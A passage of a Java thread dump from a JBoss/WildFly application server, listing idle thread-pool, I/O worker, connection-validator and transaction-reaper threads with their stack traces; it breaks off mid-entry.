org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 76" #143 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-3" #109 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ConnectionValidator" #131 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@77e25bf4 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1764) + at org.jboss.ironjacamar.impl@3.0.14.Final-redhat-00001//org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner.run(ConnectionValidator.java:268) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + +"ServerService Thread Pool -- 67" #99 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 59" #88 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 54" #83 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 47" #76 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 20" #47 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 65" #97 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-6" #23 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@17ecd5d + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + +"MSC service thread 1-4" #21 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@17ecd5d + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + +"default I/O-9" #115 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 34" #61 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 64" #96 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 11" #38 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerService Thread Pool -- 81" #148 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 1" #28 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@22eea920 + java.lang.Thread.State: WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.15/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.15/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 30" #57 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-13" #119 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 37" #64 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 31" #58 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 40" #69 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 52" #81 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 66" #98 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Reference Reaper #1" #138 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2092516f + java.lang.Thread.State: WAITING + at java.base@17.0.15/java.lang.Object.wait(Native Method) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at org.wildfly.common@1.7.0.Final-redhat-00003//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"ServerService Thread Pool -- 84" #151 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@22eea920 + java.lang.Thread.State: WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.15/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.15/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-2" #19 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@17ecd5d + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + +"ServerService Thread Pool -- 75" #142 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 43" #72 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 55" #84 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 42" #71 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 48" #77 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 71" #103 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Notification Thread" #13 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerService Thread Pool -- 16" #43 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-7" #113 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 79" #146 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 26" #53 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 51" #80 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 80" #147 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 6" #33 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Transaction Reaper Worker 0" #137 daemon [WAITING] on java.util.LinkedList@2970cfd6 + java.lang.Thread.State: WAITING + at java.base@17.0.15/java.lang.Object.wait(Native Method) + at java.base@17.0.15/java.lang.Object.wait(Object.java:338) + at org.jboss.jts//com.arjuna.ats.arjuna.coordinator.TransactionReaper.waitForWork(TransactionReaper.java:333) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread.run(ReaperWorkerThread.java:48) + +"ServerService Thread Pool -- 61" #93 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-10" #116 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:563) + +"ServerService Thread Pool -- 7" #34 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 38" #67 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: 